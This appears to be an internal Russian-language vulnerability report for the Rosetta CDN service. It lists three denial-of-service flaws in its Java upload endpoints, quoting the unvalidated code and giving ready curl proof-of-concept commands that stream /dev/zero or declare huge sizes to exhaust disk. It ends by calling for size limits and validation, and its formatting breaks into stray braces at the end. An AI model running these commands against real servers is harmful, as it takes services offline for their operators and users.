============================================================
Rosetta CDN — Local CVE List (критические DoS)
============================================================

CVE-2026-0001 (Unrestricted File Upload DoS)
Риск: КРИТИЧЕСКИЙ
URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java

Описание:
POST /u не ограничивает размер загружаемого файла. Атакующий может передать
бесконечный поток данных, исчерпав всё дисковое пространство и остановив сервис.

Уязвимый фрагмент (CdnResource.java, метод upload):

    @POST
        @Path("u")
            @Produces(MediaType.APPLICATION_JSON)
                public Response upload(
                                @FormDataParam("file") InputStream inputStream,
                                            @QueryParam("ttl") Long ttlMinutes,
                                                        @QueryParam("ttlMinutes") Long legacyTtlMinutes
                ) {
                            // НЕТ проверки размера InputStream
                                    String tag = fileStore.save(inputStream, resolvedTtlMinutes);
                                            return Response.ok(Map.of("t", tag)).build();
                }

                PoC (эксплуатация):

                    # Генерация бесконечного потока нулей и отправка как файл
                        curl -X POST https://target/u \
                              -F "file=@/dev/zero;type=application/octet-stream" \
                                    -H "Content-Length: 9999999999999"
                                        # Диск сервера заполняется, сервис падает.

                                        ============================================================

                                        CVE-2026-0002 (Chunked Upload Init Resource Exhaustion)
                                        Риск: КРИТИЧЕСКИЙ
                                        URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java

                                        Описание:
                                        POST /u/init принимает size, chunkSize, chunks без верхних границ.
                                        Злоумышленник может запросить резервирование огромного объёма (например,
                                        size=9223372036854775807), что приводит к выделению памяти/диска и DoS.

                                        Уязвимый фрагмент (CdnResource.java, метод initChunkedUpload):

                                            @POST
                                                @Path("u/init")
                                                    @Consumes(MediaType.APPLICATION_JSON)
                                                        @Produces(MediaType.APPLICATION_JSON)
                                                            public Response initChunkedUpload(
                                                                            ChunkedUploadRequest request,
                                                                                        @QueryParam("ttl") Long ttlMinutes,
                                                                                                    @QueryParam("ttlMinutes") Long legacyTtlMinutes
                                                            ) {
                                                                        // Только проверка на null, нет валидации максимума
                                                                                String tag = fileStore.initChunkedUpload(
                                                                                                    request.size(),
                                                                                                                    request.chunkSize(),
                                                                                                                                    request.chunks(),
                                                                                                                                                    resolvedTtlMinutes
                                                                                );
                                                                                        ...
                                                            }

                                                            PoC (эксплуатация):

                                                                # Инициализация чанковой загрузки с гигантским размером
                                                                    curl -X POST https://target/u/init \
                                                                          -H "Content-Type: application/json" \
                                                                                -d '{"size": 9999999999999, "chunkSize": 1, "chunks": 9999999999999}'
                                                                                    # Сервер выделяет ресурсы под этот объём, возможен немедленный отказ.

                                                                                    ============================================================

                                                                                    CVE-2026-0003 (Chunk Upload Size Bypass)
                                                                                    Риск: КРИТИЧЕСКИЙ
                                                                                    URL: https://git.rosetta.im/Rosetta/rosetta-cdn/src/branch/main/CdnResource.java

                                                                                    Описание:
                                                                                    PUT /u/{tag}/chunks/{index} не проверяет фактический размер загружаемого чанка.
                                                                                    Атакующий может отправить чанк размером больше объявленного chunkSize,
                                                                                    переполнив выделенное пространство, либо загрузить больше чанков, чем
                                                                                    зарезервировано, что также ведёт к исчерпанию диска.

                                                                                    Уязвимый фрагмент (CdnResource.java, метод uploadChunk):

                                                                                        @PUT
                                                                                            @Path("u/{tag}/chunks/{index}")
                                                                                                @Consumes(MediaType.APPLICATION_OCTET_STREAM)
                                                                                                    public Response uploadChunk(
                                                                                                                    @PathParam("tag") String tag,
                                                                                                                                @PathParam("index") int index,
                                                                                                                                            InputStream inputStream
                                                                                                    ) {
                                                                                                                // НЕТ ограничения на количество читаемых байт
                                                                                                                        fileStore.saveChunk(tag, index, inputStream);
                                                                                                                                return Response.noContent().build();
                                                                                                    }

                                                                                                    PoC (эксплуатация):

                                                                                                        # 1. Сначала инициализируем загрузку с маленьким chunkSize=1024
                                                                                                            TAG=$(curl -s -X POST https://target/u/init \
                                                                                                                  -H "Content-Type: application/json" \
                                                                                                                        -d '{"size": 1024, "chunkSize": 1024, "chunks": 1}' | jq -r '.t')

                                                                                                                            # 2. Отправляем чанк значительно большего размера (например, 1 ГБ)
                                                                                                                                curl -X PUT https://target/u/$TAG/chunks/0 \
                                                                                                                                      -H "Content-Type: application/octet-stream" \
                                                                                                                                            --data-binary @/dev/zero \
                                                                                                                                                  --limit-rate 100M

                                                                                                                                                      # Чанк записывается полностью, невзирая на заявленный chunkSize.
                                                                                                                                                          # Многократное повторение с разными индексами или превышение лимита
                                                                                                                                                              # приводит к переполнению диска и отказу сервиса.

                                                                                                                                                              ============================================================
                                                                                                                                                              Общий комментарий:
                                                                                                                                                              - Аутентификация отсутствует, любой может вызвать все эндпоинты.
                                                                                                                                                              - Проблема приоритетная: необходимо внедрить ограничения размера тела
                                                                                                                                                                запроса, валидацию входных параметров и счётчики чанков.
                                                                                                                                                                ============================================================9
                                                                                                    }
                                                                                                    )
                                                                                )
                                                            }
                                                            )
                }
                )